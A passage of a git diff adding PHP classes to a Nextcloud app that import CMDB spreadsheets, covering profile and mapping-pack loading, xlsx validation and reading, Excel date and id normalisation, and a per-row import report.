+ + /** + * Default upload limit when the profile file cannot be read (10 MB). + */ + public const DEFAULT_MAX_FILE_BYTES = 10485760; + + /** + * Sources of the municipality pack that come from the request, not from a sheet. + * + * @var array + */ + private const OPTION_SOURCES = ['municipalityName']; + + /** + * The decoded profile, once loaded. + * + * @var array|null + */ + private ?array $profile = null; + + /** + * The validated packs per target, once loaded. + * + * @var array> + */ + private array $packs = []; + + /** + * Constructor. + * + * @param ContainerInterface $container Resolves OpenRegister's validator. + * @param string|null $directory Directory of the profile and packs; null is the shipped one. + * @param string $profileFile File name of the profile inside the directory. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-3 + */ + public function __construct( + private readonly ContainerInterface $container, + private ?string $directory = null, + private readonly string $profileFile = 'topdesk-profile.json', + ) { + if ($this->directory === null) { + $this->directory = __DIR__ . '/../../Settings/cmdb-import'; + } + }//end __construct() + + /** + * Load the profile and validate every pack it names. + * + * @return void + * + * @throws CmdbImportException MAPPING_UNAVAILABLE when the validator is missing, + * or the profile or a pack is unreadable or invalid. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-3 + */ + public function load(): void { + $validator = $this->resolveValidator(); + $profile = $this->decodeFile(fileName: $this->profileFile); + + $packs = []; + foreach (self::TARGETS as $target) { + $fileName = $profile['packs'][$target] ?? null; + if (is_string($fileName) === false || $fileName === '' || basename($fileName) !== $fileName) { + throw new CmdbImportException( + errorCode: CmdbImportException::MAPPING_UNAVAILABLE, + message: 'CMDB import profile names no pack for target ' . $target + ); + } + + $pack = $this->decodeFile(fileName: $fileName); + $errors = $validator->validate($pack); + if (is_array($errors) === true && $errors !== []) { + throw new CmdbImportException( + errorCode: CmdbImportException::MAPPING_UNAVAILABLE, + message: 'CMDB mapping pack ' . $fileName . ' is invalid: ' . implode('; ', array_map('strval', $errors)) + ); + } + + $packs[$target] = $pack; + } + + $this->profile = $profile; + $this->packs = $packs; + }//end load() + + /** + * The upload limit in bytes, readable without validating the packs. + * + * The controller checks the size before anything else, so this must not + * depend on OpenRegister being available. + * + * @return int + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-8 + */ + public function maxFileBytes(): int { + try { + $profile = $this->profile ?? $this->decodeFile(fileName: $this->profileFile); + } catch (CmdbImportException $e) { + return self::DEFAULT_MAX_FILE_BYTES; + } + + $limit = $profile['maxFileBytes'] ?? null; + if (is_int($limit) === true && $limit > 0) { + return $limit; + } + + return self::DEFAULT_MAX_FILE_BYTES; + }//end maxFileBytes() + + /** + * The maximum number of non-empty rows per source sheet. + * + * @return int + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function maxRowsPerSheet(): int { + $limit = $this->profile()['maxRowsPerSheet'] ?? 10000; + if (is_int($limit) === false || $limit < 0) { + return 10000; + } + + return $limit; + }//end maxRowsPerSheet() + + /** + * The source sheets, each with the constants it adds to its rows and the + * pack columns it is known not to have. + * + * @return array, absentColumns: array}> + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function sheets(): array { + $sheets = []; + foreach (($this->profile()['sheets'] ?? []) as $sheet) { + if (is_array($sheet) === false || is_string($sheet['name'] ?? null) === false) { + continue; + } + + $constants = []; + if (is_array($sheet['constants'] ?? null) === true) { + foreach ($sheet['constants'] as $column => $value) { + if (is_scalar($value) === true) { + $constants[(string)$column] = (string)$value; + } + } + } + + $absent = []; + if (is_array($sheet['absentColumns'] ?? null) === true) { + $absent = array_values(array_map('strval', $sheet['absentColumns'])); + } + + $sheets[] = ['name' => $sheet['name'], 'constants' => $constants, 'absentColumns' => $absent]; + }//end foreach + + return $sheets; + }//end sheets() + + /** + * The names of the source sheets. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function sheetNames(): array { + return array_column($this->sheets(), 'name'); + }//end sheetNames() + + /** + * The constants a sheet adds to each of its rows, as column => value. + * + * A constant is mapped like a column (the usage pack reads "Beheer"), but + * it is never looked up in the sheet. + * + * @param string $sheetName The sheet name. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + public function sheetConstants(string $sheetName): array { + foreach ($this->sheets() as $sheet) { + if ($sheet['name'] === $sheetName) { + return $sheet['constants']; + } + } + + return []; + }//end sheetConstants() + + /** + * The pack columns a sheet is known not to have; their absence is no warning. + * + * @param string $sheetName The sheet name. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function absentColumns(string $sheetName): array { + foreach ($this->sheets() as $sheet) { + if ($sheet['name'] === $sheetName) { + return $sheet['absentColumns']; + } + } + + return []; + }//end absentColumns() + + /** + * The names of every sheet constant; these are never read from a sheet. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function constantColumns(): array { + $columns = []; + foreach ($this->sheets() as $sheet) { + $columns = array_merge($columns, array_keys($sheet['constants'])); + } + + return array_values(array_unique(array_map('strval', $columns))); + }//end constantColumns() + + /** + * Values that mean "empty" per column, such as the "NB" a CMDB sheet + * writes for an unknown BNN classification. + * + * @return array> + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function emptyValues(): array { + $value = $this->profile()['emptyValues'] ?? []; + if (is_array($value) === false) { + return []; + } + + $empty = []; + foreach ($value as $column => $values) { + if (is_array($values) === true) { + $empty[(string)$column] = array_values(array_map('strval', $values)); + } + } + + return $empty; + }//end emptyValues() + + /** + * The match key column ("APPID"). + * + * @return string + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + public function keyColumn(): string { + return (string)($this->profile()['keyColumn'] ?? 'APPID'); + }//end keyColumn() + + /** + * The application name column ("Applicatie Naam"). + * + * @return string + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + public function nameColumn(): string { + return (string)($this->profile()['nameColumn'] ?? 'Applicatie Naam'); + }//end nameColumn() + + /** + * Columns whose absence stops the import with MISSING_COLUMN. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function requiredColumns(): array { + return $this->stringList(key: 'requiredColumns'); + }//end requiredColumns() + + /** + * Columns that hold Excel serial dates. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function dateColumns(): array { + return $this->stringList(key: 'dateColumns'); + }//end dateColumns() + + /** + * Columns that hold identifiers which must not carry a decimal part. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function idColumns(): array { + return $this->stringList(key: 'idColumns'); + }//end idColumns() + + /** + * The prefix of the module match key ("topdesk"). + * + * @return string + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + public function externalKeyPrefix(): string { + return (string)($this->profile()['externalKeyPrefix'] ?? 'topdesk'); + }//end externalKeyPrefix() + + /** + * The validated pack for a target. + * + * @param string $target One of self::TARGETS. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-3 + */ + public function pack(string $target): array { + $this->profile(); + return ($this->packs[$target] ?? []); + }//end pack() + + /** + * Values set on create only, per target, as field => value. + * + * @param string $target The target. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + public function createOnlyDefaults(string $target): array { + $value = $this->profile()['createOnly'][$target] ?? []; + if (is_array($value) === false || array_is_list($value) === true) { + return []; + } + + return $value; + }//end createOnlyDefaults() + + /** + * Mapped fields written on create, or on update only when the stored value is empty. + * + * @param string $target The target. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + public function createOnlyFields(string $target): array { + $value = $this->profile()['createOnly'][$target] ?? []; + if (is_array($value) === false) { + return []; + } + + if (array_is_list($value) === true) { + return array_values(array_map('strval', $value)); + } + + return array_map('strval', array_keys($value)); + }//end createOnlyFields() + + /** + * Fields the import never writes on an existing object. + * + * @param string $target The target. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-5 + */ + public function neverWrittenOnUpdate(string $target): array { + $value = $this->profile()['neverWritten'][$target] ?? []; + if (is_array($value) === false) { + return []; + } + + return array_values(array_map('strval', $value)); + }//end neverWrittenOnUpdate() + + /** + * The accepted values of the missingRecords option. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-8 + */ + public function missingRecordsModes(): array { + $modes = $this->stringList(key: 'missingRecords'); + if ($modes === []) { + return ['keep']; + } + + return $modes; + }//end missingRecordsModes() + + /** + * Every column the profile or a pack references: the read allowlist. + * + * The municipality pack maps the request options, not a sheet, and the + * sheet constants are added by the import, so both are left out. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-3 + */ + public function referencedColumns(): array { + $columns = array_merge( + [$this->keyColumn(), $this->nameColumn()], + $this->requiredColumns(), + $this->dateColumns(), + $this->idColumns() + ); + + foreach (self::TARGETS as $target) { + foreach (($this->pack(target: $target)['fieldMappings'] ?? []) as $mapping) { + $columns[] = (string)($mapping['source'] ?? ''); + foreach (($mapping['transform']['fields'] ?? []) as $extra) { + $columns[] = (string)$extra; + } + } + } + + $excluded = array_merge(self::OPTION_SOURCES, $this->constantColumns()); + $columns = array_filter( + $columns, + fn (string $column): bool => $column !== '' && $column[0] !== '/' && in_array($column, $excluded, true) === false + ); + + return array_values(array_unique($columns)); + }//end referencedColumns() + + /** + * The loaded profile. + * + * @return array + * + * @throws CmdbImportException MAPPING_UNAVAILABLE when load() failed. + */ + private function profile(): array { + if ($this->profile === null) { + $this->load(); + } + + return ($this->profile ?? []); + }//end profile() + + /** + * A list of strings from the profile. + * + * @param string $key The profile key. + * + * @return array + */ + private function stringList(string $key): array { + $value = $this->profile()[$key] ?? []; + if (is_array($value) === false) { + return []; + } + + return array_values(array_map('strval', $value)); + }//end stringList() + + /** + * Resolve OpenRegister's pack validator. + * + * @return object The validator, with a `validate(array): array` method. + * + * @throws CmdbImportException MAPPING_UNAVAILABLE when it is not available. + */ + private function resolveValidator(): object { + $class = static::VALIDATOR_CLASS; + + try { + if ($this->container->has($class) === true) { + $validator = $this->container->get($class); + if (is_object($validator) === true && method_exists($validator, 'validate') === true) { + return $validator; + } + } + } catch (Throwable $e) { + // Fall through to the class check below. + $validator = null; + } + + if (class_exists($class) === true) { + $validator = new $class(); + if (method_exists($validator, 'validate') === true) { + return $validator; + } + } + + throw new CmdbImportException( + errorCode: CmdbImportException::MAPPING_UNAVAILABLE, + message: 'OpenRegister PackDefinitionValidator is not available' + ); + }//end resolveValidator() + + /** + * Read and decode one JSON file from the profile directory. + * + * @param string $fileName The file name. + * + * @return array + * + * @throws CmdbImportException MAPPING_UNAVAILABLE when the file is missing or not a JSON object. + */ + private function decodeFile(string $fileName): array { + $path = $this->directory . '/' . $fileName; + $content = false; + if (is_readable($path) === true) { + $content = file_get_contents($path); + } + + $decoded = null; + if (is_string($content) === true) { + $decoded = json_decode($content, true); + } + + if (is_array($decoded) === false) { + throw new CmdbImportException( + errorCode: CmdbImportException::MAPPING_UNAVAILABLE, + message: 'CMDB import file ' . $fileName . ' is missing or not valid JSON' + ); + } + + return $decoded; + }//end decodeFile() +}//end class diff --git a/lib/Service/Cmdb/CmdbImportReport.php b/lib/Service/Cmdb/CmdbImportReport.php new file mode 100644 index 000000000..091b0a903 --- /dev/null +++ b/lib/Service/Cmdb/CmdbImportReport.php @@ -0,0 +1,220 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Service\Cmdb; + +/** + * The per-row report of one CMDB import run. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ +class CmdbImportReport { + public const CREATED = 'created'; + public const UPDATED = 'updated'; + public const UNCHANGED = 'unchanged'; + public const SKIPPED = 'skipped'; + public const FAILED = 'failed'; + + /** + * The row entries, in processing order. + * + * @var array> + */ + private array $rows = []; + + /** + * Import-level warnings. + * + * @var array + */ + private array $importWarnings = []; + + /** + * Whether the run stopped on a cancel. + * + * @var bool + */ + private bool $cancelled = false; + + /** + * The consuming municipality. + * + * @var array{uuid: string, name: string, created: bool}|null + */ + private ?array $municipality = null; + + /** + * Constructor. + * + * @param string $operationId The progress operation id. + * @param int $rowsRead Non-empty rows read from the workbook. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + public function __construct( + private readonly string $operationId, + private readonly int $rowsRead, + ) { + }//end __construct() + + /** + * Add one row outcome. + * + * @param string $sheet The sheet name. + * @param int $row The 1-based sheet row number. + * @param string $appId The APPID ('' when missing). + * @param string $name The application name ('' when missing). + * @param string $outcome One of the outcome constants. + * @param array $reasons Why the row was skipped or failed. + * @param array $warnings Row warnings. + * @param string|null $moduleUuid The module, when there is one. + * @param string|null $usageUuid The usage, when there is one. + * + * @return void + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + public function addRow( + string $sheet, + int $row, + string $appId, + string $name, + string $outcome, + array $reasons = [], + array $warnings = [], + ?string $moduleUuid = null, + ?string $usageUuid = null, + ): void { + $this->rows[] = [ + 'sheet' => $sheet, + 'row' => $row, + 'appId' => $appId, + 'name' => $name, + 'outcome' => $outcome, + 'reasons' => array_values($reasons), + 'warnings' => array_values($warnings), + 'moduleUuid' => $moduleUuid, + 'usageUuid' => $usageUuid, + ]; + }//end addRow() + + /** + * Add import-level warnings, such as a missing optional column. + * + * @param array $warnings The warnings. + * + * @return void + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + public function addImportWarnings(array $warnings): void { + foreach ($warnings as $warning) { + $this->importWarnings[] = ['sheet' => (string)$warning['sheet'], 'message' => (string)$warning['message']]; + } + }//end addImportWarnings() + + /** + * Record the consuming municipality. + * + * @param string $uuid The organisation uuid. + * @param string $name Its name. + * @param bool $created Whether this run created it. + * + * @return void + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + public function setMunicipality(string $uuid, string $name, bool $created): void { + $this->municipality = ['uuid' => $uuid, 'name' => $name, 'created' => $created]; + }//end setMunicipality() + + /** + * Mark the run as stopped on a cancel. + * + * @return void + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + public function markCancelled(): void { + $this->cancelled = true; + }//end markCancelled() + + /** + * The number of rows processed so far. + * + * @return int + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + public function processed(): int { + return count($this->rows); + }//end processed() + + /** + * The summary counts. + * + * @return array{rowsRead: int, processed: int, created: int, updated: int, unchanged: int, skipped: int, failed: int, warnings: int} + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + public function summary(): array { + $summary = [ + 'rowsRead' => $this->rowsRead, + 'processed' => count($this->rows), + self::CREATED => 0, + self::UPDATED => 0, + self::UNCHANGED => 0, + self::SKIPPED => 0, + self::FAILED => 0, + 'warnings' => 0, + ]; + + foreach ($this->rows as $row) { + $summary[$row['outcome']]++; + $summary['warnings'] += count($row['warnings']); + } + + return $summary; + }//end summary() + + /** + * The report in the contract shape. + * + * @return array + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-7 + */ + public function toArray(): array { + return [ + 'success' => true, + 'operationId' => $this->operationId, + 'cancelled' => $this->cancelled, + 'municipality' => $this->municipality, + 'summary' => $this->summary(), + 'importWarnings' => $this->importWarnings, + 'rows' => $this->rows, + ]; + }//end toArray() +}//end class diff --git a/lib/Service/Cmdb/CmdbRowNormaliser.php b/lib/Service/Cmdb/CmdbRowNormaliser.php new file mode 100644 index 000000000..80c71f080 --- /dev/null +++ b/lib/Service/Cmdb/CmdbRowNormaliser.php @@ -0,0 +1,209 @@ + string` row OpenRegister's `MappingEngine` expects (design D4): + * + * - Date columns: an Excel serial number becomes `Y-m-d` (1900 date system, + * or 1904 when the workbook says so). A non-numeric value stays as it is, so + * the pack's `date` transform accepts it or reports a warning. + * - Id columns: a whole number becomes a string without a decimal part + * (`1234.0` becomes `"1234"`). + * - Every value is trimmed; an empty value becomes the empty string. + * - A value the profile lists as "empty" for its column (such as the "NB" a + * CMDB sheet writes for an unknown BNN classification) becomes the empty + * string, compared case-insensitively before any conversion. + * + * The conversion lives here and not in the packs, so every pack stays a plain + * OpenRegister migration pack. + * + * @category Service + * @package OCA\Stackiq\Service\Cmdb + * @author Conduction b.v. + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Service\Cmdb; + +use DateInterval; +use DateTimeImmutable; +use DateTimeZone; + +/** + * Normalises reader rows into string rows for the mapping engine. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + * + * @SuppressWarnings(PHPMD.BooleanArgumentFlag) The date system (1900 or 1904) is a property + * of the workbook that the reader reports; it is data, not a mode switch. + */ +class CmdbRowNormaliser { + /** + * Highest serial Excel accepts (9999-12-31). + */ + private const MAX_SERIAL = 2958465; + + /** + * Normalise one row. + * + * @param array $cells Column name => raw cell value. + * @param array $dateColumns Columns holding Excel serial dates. + * @param array $idColumns Columns holding identifiers. + * @param bool $date1904 Whether the workbook uses the 1904 date system. + * @param array> $emptyValues Values that mean empty, per column. + * + * @return array Column name => normalised value. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function normalise(array $cells, array $dateColumns, array $idColumns, bool $date1904 = false, array $emptyValues = []): array { + $row = []; + foreach ($cells as $column => $value) { + $column = (string)$column; + if (self::meansEmpty(text: $this->toText(value: $value), empty: ($emptyValues[$column] ?? [])) === true) { + $row[$column] = ''; + continue; + } + + if (in_array($column, $dateColumns, true) === true) { + $row[$column] = $this->normaliseDate(value: $value, date1904: $date1904); + continue; + } + + if (in_array($column, $idColumns, true) === true) { + $row[$column] = $this->normaliseId(value: $value); + continue; + } + + $row[$column] = $this->toText(value: $value); + } + + return $row; + }//end normalise() + + /** + * An Excel serial date to `Y-m-d`; any other value trimmed as text. + * + * @param mixed $value The raw value. + * @param bool $date1904 Whether the workbook uses the 1904 date system. + * + * @return string + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function normaliseDate(mixed $value, bool $date1904 = false): string { + $text = $this->toText(value: $value); + if (is_numeric($text) === false) { + return $text; + } + + $serial = (float)$text; + if ($serial < 1 || $serial > self::MAX_SERIAL) { + return $text; + } + + $days = (int)floor($serial); + // 1900 system: 1899-12-30 plus the serial, which absorbs Excel's + // phantom 1900-02-29 for every serial after it. Before it (serial < 61) + // the base is one day later. 1904 system: serial 0 is 1904-01-01. + $base = '1899-12-30'; + if ($days < 61) { + $base = '1899-12-31'; + } + + if ($date1904 === true) { + $base = '1904-01-01'; + } + + $base = new DateTimeImmutable($base, new DateTimeZone('UTC')); + + return $base->add(new DateInterval('P' . $days . 'D'))->format('Y-m-d'); + }//end normaliseDate() + + /** + * A numeric identifier without a decimal part, as a string. + * + * @param mixed $value The raw value. + * + * @return string + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function normaliseId(mixed $value): string { + if (is_float($value) === true && floor($value) === $value && abs($value) < PHP_INT_MAX) { + return (string)(int)$value; + } + + $text = $this->toText(value: $value); + if (preg_match('/^(\d+)\.0+$/', $text, $matches) === 1) { + return $matches[1]; + } + + return $text; + }//end normaliseId() + + /** + * Whether a value is one of the column's "empty" values. + * + * @param string $text The trimmed value. + * @param array $empty The column's empty values. + * + * @return bool + */ + private static function meansEmpty(string $text, array $empty): bool { + if ($text === '' || $empty === []) { + return false; + } + + $needle = mb_strtolower($text); + foreach ($empty as $candidate) { + if (mb_strtolower(trim($candidate)) === $needle) { + return true; + } + } + + return false; + }//end meansEmpty() + + /** + * Any scalar as trimmed text; null as the empty string. + * + * @param mixed $value The raw value. + * + * @return string + */ + private function toText(mixed $value): string { + if ($value === null) { + return ''; + } + + if (is_bool($value) === true) { + if ($value === true) { + return 'TRUE'; + } + + return 'FALSE'; + } + + if (is_float($value) === true && floor($value) === $value && abs($value) < PHP_INT_MAX) { + return (string)(int)$value; + } + + if (is_scalar($value) === false) { + return ''; + } + + return trim((string)$value); + }//end toText() +}//end class diff --git a/lib/Service/Cmdb/CmdbWorkbookReader.php b/lib/Service/Cmdb/CmdbWorkbookReader.php new file mode 100644 index 000000000..1ec5cac07 --- /dev/null +++ b/lib/Service/Cmdb/CmdbWorkbookReader.php @@ -0,0 +1,497 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * @link https://github.com/ConductionNL/stackiq + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Service\Cmdb; + +use OCA\Stackiq\Exception\CmdbImportException; +use Throwable; +use ZipArchive; + +/** + * Reads the allowlisted columns of the profile's source sheets. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + * + * @SuppressWarnings(PHPMD.ExcessiveClassComplexity) The file checks before parsing and the + * header resolution are each a chain of small guards; together they pass the threshold. + */ +class CmdbWorkbookReader { + /** + * PhpSpreadsheet's Xlsx reader, shipped in OpenRegister's vendor directory. + */ + public const READER_CLASS = 'PhpOffice\PhpSpreadsheet\Reader\Xlsx'; + + /** + * The ZIP local-file-header signature every xlsx package starts with. + */ + private const ZIP_SIGNATURE = "PK\x03\x04"; + + /** + * Check that an upload is an xlsx workbook, without parsing it. + * + * @param string $path The uploaded temporary file. + * @param string $fileName The original file name. + * + * @return void + * + * @throws CmdbImportException NOT_XLSX when the name, signature or package is wrong. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function assertXlsx(string $path, string $fileName): void { + if (strtolower((string)pathinfo($fileName, PATHINFO_EXTENSION)) !== 'xlsx') { + throw new CmdbImportException(errorCode: CmdbImportException::NOT_XLSX, message: 'The file name does not end in .xlsx'); + } + + $head = false; + if (is_file($path) === true && is_readable($path) === true) { + $head = file_get_contents($path, false, null, 0, 4); + } + + if ($head !== self::ZIP_SIGNATURE) { + throw new CmdbImportException(errorCode: CmdbImportException::NOT_XLSX, message: 'The file is not a ZIP package'); + } + + $zip = new ZipArchive(); + if ($zip->open($path, ZipArchive::RDONLY) !== true) { + throw new CmdbImportException(errorCode: CmdbImportException::NOT_XLSX, message: 'The ZIP package cannot be opened'); + } + + $hasWorkbook = ($zip->locateName('xl/workbook.xml') !== false); + $zip->close(); + + if ($hasWorkbook === false) { + throw new CmdbImportException(errorCode: CmdbImportException::NOT_XLSX, message: 'The package holds no xl/workbook.xml'); + } + }//end assertXlsx() + + /** + * Whether PhpSpreadsheet's Xlsx reader can be loaded. + * + * @return bool + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function isAvailable(): bool { + return class_exists(static::READER_CLASS) === true; + }//end isAvailable() + + /** + * Read the source sheets of an xlsx workbook. + * + * @param string $path The xlsx file, already checked by assertXlsx(). + * @param CmdbImportProfile $profile The import profile. + * + * @return array `rows` (list of {sheet, row, cells, uncached}), `importWarnings` + * (list of {sheet, message}) and `date1904` (bool). + * + * @throws CmdbImportException READER_UNAVAILABLE, NOT_XLSX, NO_SOURCE_SHEET, MISSING_COLUMN or TOO_MANY_ROWS. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public function read(string $path, CmdbImportProfile $profile): array { + if ($this->isAvailable() === false) { + throw new CmdbImportException( + errorCode: CmdbImportException::READER_UNAVAILABLE, + message: 'PhpSpreadsheet Xlsx reader is not available' + ); + } + + $readerClass = static::READER_CLASS; + $reader = new $readerClass(); + + try { + $available = $reader->listWorksheetNames($path); + } catch (Throwable $e) { + throw new CmdbImportException( + errorCode: CmdbImportException::NOT_XLSX, + message: 'The workbook cannot be read: ' . get_class($e), + previous: $e + ); + } + + $expected = $profile->sheetNames(); + $present = array_values(array_intersect($expected, $available)); + if ($present === []) { + throw new CmdbImportException( + errorCode: CmdbImportException::NO_SOURCE_SHEET, + message: 'The workbook holds none of the source sheets', + details: ['expected' => $expected] + ); + } + + $reader->setReadDataOnly(true); + $reader->setReadEmptyCells(false); + $reader->setLoadSheetsOnly($present); + + try { + $spreadsheet = $reader->load($path); + } catch (Throwable $e) { + throw new CmdbImportException( + errorCode: CmdbImportException::NOT_XLSX, + message: 'The workbook cannot be loaded: ' . get_class($e), + previous: $e + ); + } + + try { + $result = $this->readSheets(spreadsheet: $spreadsheet, sheetNames: $present, profile: $profile); + } finally { + $spreadsheet->disconnectWorksheets(); + } + + return $result; + }//end read() + + /** + * Normalise a header or column name for matching. + * + * @param string $header The raw header. + * + * @return string The normalised name. + * + * @spec openspec/changes/cmdb-export-import/tasks.md#task-4 + */ + public static function normaliseHeader(string $header): string { + $header = (string)preg_replace('/\s+/u', ' ', trim($header)); + $header = (string)preg_replace('/\s*(?::|⚡)+$/u', '', $header); + + return mb_strtolower(trim($header)); + }//end normaliseHeader() + + /** + * Read every present source sheet. + * + * @param object $spreadsheet The loaded PhpSpreadsheet workbook. + * @param array $sheetNames The present source sheets, in profile order. + * @param CmdbImportProfile $profile The import profile. + * + * @return array `rows` (list of {sheet, row, cells, uncached}), `importWarnings` + * (list of {sheet, message}) and `date1904` (bool). + * + * @throws CmdbImportException MISSING_COLUMN or TOO_MANY_ROWS. + */ + private function readSheets(object $spreadsheet, array $sheetNames, CmdbImportProfile $profile): array { + $referenced = $profile->referencedColumns(); + $mapped = $this->packSources(profile: $profile); + $required = $profile->requiredColumns(); + + // Resolve every sheet's columns first, so a missing required column + // stops the import before a single row is read. + $columnsPerSheet = []; + $warnings = []; + foreach ($sheetNames as $sheetName) { + $worksheet = $spreadsheet->getSheetByName($sheetName); + $columns = $this->resolveColumns(worksheet: $worksheet, referenced: $referenced); + + foreach ($required as $column) { + if (in_array($column, $columns, true) === false) { + throw new CmdbImportException( + errorCode: CmdbImportException::MISSING_COLUMN, + message: 'A source sheet lacks a required column', + details: ['sheet' => $sheetName, 'column' => $column] + ); + } + } + + $skip = array_merge($required, $profile->absentColumns(sheetName: $sheetName)); + array_push($warnings, ...self::missingOptionalColumns(sheetName: $sheetName, mapped: $mapped, columns: $columns, skip: $skip)); + $columnsPerSheet[$sheetName] = $columns; + } + + $rows = []; + $limit = $profile->maxRowsPerSheet(); + foreach ($sheetNames as $sheetName) { + $worksheet = $spreadsheet->getSheetByName($sheetName); + $sheetRows = $this->readRows(worksheet: $worksheet, columns: $columnsPerSheet[$sheetName], sheetName: $sheetName, limit: $limit); + array_push($rows, ...$sheetRows); + } + + $date1904 = false; + if (method_exists($spreadsheet, 'getExcelCalendar') === true) { + $date1904 = ((int)$spreadsheet->getExcelCalendar() === 1904); + } + + return ['rows' => $rows, 'importWarnings' => $warnings, 'date1904' => $date1904]; + }//end readSheets() + + /** + * Map the header row to the referenced column names. + * + * @param object $worksheet The worksheet. + * @param array $referenced The allowlisted column names. + * + * @return array Column letter => referenced column name. + */ + private function resolveColumns(object $worksheet, array $referenced): array { + $wanted = []; + foreach ($referenced as $column) { + $wanted[self::normaliseHeader(header: $column)] = $column; + } + + $columns = []; + $lastColumn = self::columnIndex(letters: (string)$worksheet->getHighestDataColumn(1)); + for ($index = 1; $index <= $lastColumn; $index++) { + $letters = self::columnLetters(index: $index); + $coordinate = $letters . '1'; + if ($worksheet->cellExists($coordinate) === false) { + continue; + } + + $header = $this->cellValue(cell: $worksheet->getCell($coordinate)); + if (is_scalar($header) === false) { + continue; + } + + $name = $wanted[self::normaliseHeader(header: (string)$header)] ?? null; + // The first column with a matching header wins. + if ($name !== null && in_array($name, $columns, true) === false) { + $columns[$letters] = $name; + } + } + + return $columns; + }//end resolveColumns() + + /** + * Read the non-empty data rows of one sheet. + * + * @param object $worksheet The worksheet. + * @param array $columns Column letter => column name. + * @param string $sheetName The sheet name. + * @param int $limit The maximum number of non-empty rows. + * + * @return array, uncached: array}> + * + * @throws CmdbImportException TOO_MANY_ROWS. + */ + private function readRows(object $worksheet, array $columns, string $sheetName, int $limit): array { + $rows = []; + $lastRow = (int)$worksheet->getHighestDataRow(); + for ($rowNumber = 2; $rowNumber <= $lastRow; $rowNumber++) { + ['cells' => $cells, 'uncached' => $uncached, 'empty' => $empty] = $this->readRow( + worksheet: $worksheet, + columns: $columns, + rowNumber: $rowNumber + ); + if ($empty === true) { + continue; + } + + if (count($rows) >= $limit) { + throw new CmdbImportException( + errorCode: CmdbImportException::TOO_MANY_ROWS, + message: 'A source sheet has more rows than the profile allows', + details: ['sheet' => $sheetName, 'limit' => $limit] + ); + } + + $rows[] = ['sheet' => $sheetName, 'row' => $rowNumber, 'cells' => $cells, 'uncached' => $uncached]; + }//end for + + return $rows; + }//end readRows() + + /** + * The kept cells of one row, the columns whose formula has no cached value, + * and whether every kept cell is empty. + * + * @param object $worksheet The worksheet. + * @param array $columns Column letter => column name. + * @param int $rowNumber The 1-based row number. + * + * @return array{cells: array, uncached: array, empty: bool} + */ + private function readRow(object $worksheet, array $columns, int $rowNumber): array { + $cells = []; + $uncached = []; + $empty = true; + foreach ($columns as $letters => $name) { + $value = null; + $coordinate = $letters . $rowNumber; + if ($worksheet->cellExists($coordinate) === true) { + $cell = $worksheet->getCell($coordinate); + $value = $this->cellValue(cell: $cell); + if 